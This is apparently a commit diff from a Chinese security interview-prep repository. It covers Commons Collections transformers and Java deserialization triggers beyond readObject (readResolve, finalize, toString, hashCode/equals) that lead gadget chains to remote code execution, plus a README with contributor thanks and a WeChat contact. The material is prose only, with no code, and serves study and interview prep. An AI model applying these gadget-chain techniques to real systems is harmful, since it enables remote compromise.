| InstantiateTransformer | 实例化对象 | 创建实例,通常用于创建 Runtime 实例 |
|
||||
| ConstantTransformer | 返回常量值 | 提供常量对象,通常用于提供 Runtime 实例 |
|
||||
| ChainedTransformer | 串联多个Transformer | 驱动整个攻击链,按顺序执行每个 Transformer |
|
||||
@@ -0,0 +1,43 @@
|
||||
### 反序列化除了readObject 还有什么触发点
|
||||
|
||||
**1. `readResolve()` 和 `writeReplace()`**
|
||||
|
||||
这两个方法主要用于控制对象的序列化和反序列化过程,它们可以用来触发攻击链
|
||||
|
||||
- **原理**:
|
||||
- `writeReplace()`:这个方法在对象被序列化时调用。它允许开发者用另一个对象来替换即将被序列化的对象。攻击者可以利用这个方法,让一个无害的对象在序列化时被替换成一个恶意的对象
|
||||
- `readResolve()`:这个方法在对象被反序列化后调用。它允许开发者用另一个对象来替换刚刚反序列化得到的对象。攻击者可以利用这个方法,在反序列化时触发攻击链,例如调用一个可以触发 JNDI 注入的类
|
||||
- **攻击链举例**:
|
||||
- 攻击者构造一个恶意的对象,这个对象的 `readResolve()` 方法被重写,用于返回一个可以触发 JNDI 注入的 `JdbcRowSetImpl` 对象
|
||||
- 当应用程序反序列化这个对象时,`readResolve()` 方法会被自动调用,从而将攻击链的控制权转移到 `JdbcRowSetImpl` 上,最终导致 RCE
|
||||
|
||||
**2. `finalize()`**
|
||||
|
||||
`finalize()` 方法是一个“魔法”方法,它在对象被垃圾回收时调用
|
||||
|
||||
- **原理**:在某些情况下,当一个对象被反序列化后,如果它不再被引用,Java 虚拟机(JVM)可能会将其放入垃圾回收队列。在垃圾回收前,JVM 会调用对象的 `finalize()` 方法
|
||||
- **攻击链举例**:
|
||||
- 攻击者构造一个恶意的对象,这个对象的 `finalize()` 方法被重写,用于执行系统命令
|
||||
- 当应用程序反序列化并丢弃这个对象时,如果垃圾回收被触发,`finalize()` 方法就会被调用,从而执行恶意代码
|
||||
- **局限性**:这种方法不常见,因为它**不可预测**。你无法控制垃圾回收何时发生,甚至无法保证它一定会发生。因此,它不是一个可靠的漏洞利用方式,但其原理是成立的
|
||||
|
||||
**3. `toString()`**
|
||||
|
||||
在某些情况下,某些类在反序列化时会调用其内部对象的 `toString()` 方法
|
||||
|
||||
- **原理**:当一个对象被反序列化时,如果它被放入到一个需要调用 `toString()` 的上下文中(例如,在日志记录中),那么 `toString()` 方法就会被自动调用
|
||||
- **攻击链举例**:
|
||||
- 攻击者找到一个类,它的 `toString()` 方法可以间接触发命令执行
|
||||
- 攻击者构造一个恶意的序列化对象,这个对象包含上面找到的类
|
||||
- 当应用程序反序列化这个对象,并将其放入一个需要调用 `toString()` 的上下文中时,就会触发攻击链
|
||||
- 典型的例子是 `BadAttributeValueExpException` 这个类,它的 `readObject()` 方法会调用内部对象的 `toString()`,从而可以触发 `InvokerTransformer` 的攻击链
|
||||
|
||||
**4. `hashCode()` 和 `equals()`**
|
||||
|
||||
这两个方法通常用于哈希表(`HashMap`、`HashSet`)等集合类中
|
||||
|
||||
- **原理**:当一个哈希表被反序列化时,它需要重新构建内部的数据结构。在这个过程中,它会调用其存储的对象的 `hashCode()` 和 `equals()` 方法
|
||||
- **攻击链举例**:
|
||||
- 攻击者构造一个恶意的哈希表,并向其中放入一个可以被利用的对象
|
||||
- 当这个哈希表被反序列化时,它的 `hashCode()` 方法会被调用
|
||||
- 攻击者可以利用一些特殊的类(例如 `HashSet`),让其在 `hashCode()` 方法中调用其他恶意对象的 `transform()` 方法,从而触发攻击链
|
||||
@@ -1 +1,20 @@
|
||||
# 网安面试题(涵盖护网、红队、逆向、二进制)
|
||||
|
||||
上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!!
|
||||
|
||||
HR:请问…………
|
||||
|
||||
我:叽里咕噜说啥呢,看看八股文上写了没
|
||||
|
||||
(Summary.md 是目录噢!!)
|
||||
|
||||
**🙏 特别感谢名单**
|
||||
|
||||
在整理和完善本项目的过程中,以下朋友给予了宝贵的帮助与支持,在此表示诚挚的感谢!(排名不分先后)
|
||||
|
||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
||||
|
||||
如果您也愿意参与本项目,欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题,我们会在后续版本中加入您的名字
|
||||
|
||||
Reference in New Issue
Block a user